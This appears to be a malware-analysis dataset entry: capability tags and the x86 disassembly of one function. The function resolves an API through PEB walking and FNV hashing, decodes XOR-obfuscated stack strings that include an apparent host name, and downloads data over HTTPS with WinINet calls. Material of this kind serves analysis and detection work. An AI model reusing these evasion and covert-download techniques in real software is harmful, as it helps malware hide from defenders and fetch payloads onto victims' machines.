Function at 0x4663c0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x294
mov eax, dword [0x47400c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov cl, 0x5f
mov edx, dword [ebp + 8]
push ebx
push esi
mov esi, dword [0x59d37c]
mov dword [ebp - 0x294], eax
xor eax, eax
push edi
mov dword [ebp - 0x290], edx
mov dword [ebp - 0x26c], 0x2f273a5f
mov dword [ebp - 0x268], 0x372b2d3a
mov dword [ebp - 0x264], 0x3c71273e
mov word [ebp - 0x260], 0x3230
mov byte [ebp - 0x25e], 0
xor byte [ebp + eax - 0x26b], cl
inc eax
cmp eax, 0xd
jae 0x466435
mov cl, byte [ebp - 0x26c]
jmp 0x466420
lea eax, [ebp - 0x26b]
mov byte [ebp - 0x25e], 0
push eax
push edx
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
jne 0x46648b
mov ecx, dword [0x59d368]
mov byte [ebp - 0x270], al
lea eax, [ebp - 0x277]
push eax
push 1
mov dword [ebp - 0x278], 0x455f4873
mov dword [ebp - 0x274], 0x726f7272
call fcn.0045f060
mov eax, dword [0x59d374]
push 1
mov eax, dword [eax + 0x74]
call eax
cmp dword [esi + 0x14], 0x10
jb 0x466493
mov esi, dword [esi]
mov eax, dword [0x59d374]
push 0x80000
push 0
push 0
mov eax, dword [eax + 0x13c]
push 0
push esi
call eax
mov dword [ebp - 0x274], eax
test eax, eax
je 0x466775
push 4
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x220], 0x2bf20
push ecx
push 6
push eax
call dword [sym.imp.WININET.dll_InternetSetOptionA]
lea eax, [ebp - 0x110]
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x218]
movlpd qword [ebp - 0x258], xmm0
mov dword [ebp - 0x230], eax
mov eax, dword fs:[0x30]
movlpd qword [ebp - 0x244], xmm0
movlpd qword [ebp - 0x23c], xmm0
mov dword [ebp - 0x234], 0
movlpd qword [ebp - 0x228], xmm0
mov dword [ebp - 0x25c], 0x3c
mov dword [ebp - 0x248], 0x104
mov dword [ebp - 0x22c], 0x104
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x28c], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x288], ecx
cmp ecx, edx
je 0x4665b9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4665b9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
nop dword [eax + eax]
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0xa6abeefe
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x4665b2
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x466595
cmp esi, 0xe9fca51b
je 0x4665bd
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x466580
mov eax, dword [eax]
jmp 0x466550
mov esi, dword [ebp - 0x288]
mov edx, dword [ebp - 0x28c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x25c]
push ecx
push 0
push 0
push dword [ebp - 0x290]
add eax, edx
call eax
mov ebx, dword [ebp - 0x274]
lea eax, [ebp - 0x283]
push 0
push 0
push 3
push eax
lea eax, [ebp - 0x26b]
mov dword [ebp - 0x284], 0x6468650a
push eax
push 0x1bb
lea eax, [ebp - 0x110]
mov dword [ebp - 0x280], 0x34646165
push eax
mov eax, dword [0x59d374]
push ebx
mov dword [ebp - 0x27c], 0x313531
mov dword [ebp - 0x26c], 0x70786572
mov eax, dword [eax + 0x150]
mov dword [ebp - 0x268], 0x64747265
mov dword [ebp - 0x264], 0x646165
call eax
mov edi, eax
test edi, edi
je 0x466775
push 1
push 0x84800300
push 0
push 0
push 0
lea eax, [ebp - 0x218]
mov dword [ebp - 0x274], 0x54454721
push eax
lea eax, [ebp - 0x273]
mov byte [ebp - 0x270], 0
push eax
mov eax, dword [0x59d374]
push edi
mov eax, dword [eax + 0x154]
call eax
mov esi, eax
test esi, esi
je 0x466775
mov ecx, dword [0x59d374]
push 0
push 0
push 0
mov eax, dword [ecx + 0x158]
push 0
push esi
call eax
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [0x59d374]
push 1
push 0x59d457
push esi
mov eax, dword [eax + 0x14c]
call eax
test eax, eax
je 0x466736
cmp dword [ebp - 0x21c], 0
je 0x466736
mov edx, dword [ebp - 0x294]
mov ecx, dword [edx + 4]
cmp ecx, dword [edx + 8]
je 0x466709
mov al, byte [0x59d457]
mov byte [ecx], al
inc dword [edx + 4]
jmp 0x466716
push 0x59d457
push ecx
mov ecx, edx
call fcn.00466850
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [0x59d374]
push 1
push 0x59d457
push esi
mov eax, dword [eax + 0x14c]
call eax
test eax, eax
jne 0x4666e6
mov eax, dword [0x59d374]
push esi
mov eax, dword [eax + 0x148]
call eax
mov eax, dword [0x59d374]
push edi
mov eax, dword [eax + 0x148]
call eax
mov eax, dword [0x59d374]
push ebx
mov eax, dword [eax + 0x148]
call eax
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00466a4b
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00466a4b
mov esp, ebp
pop ebp
ret 8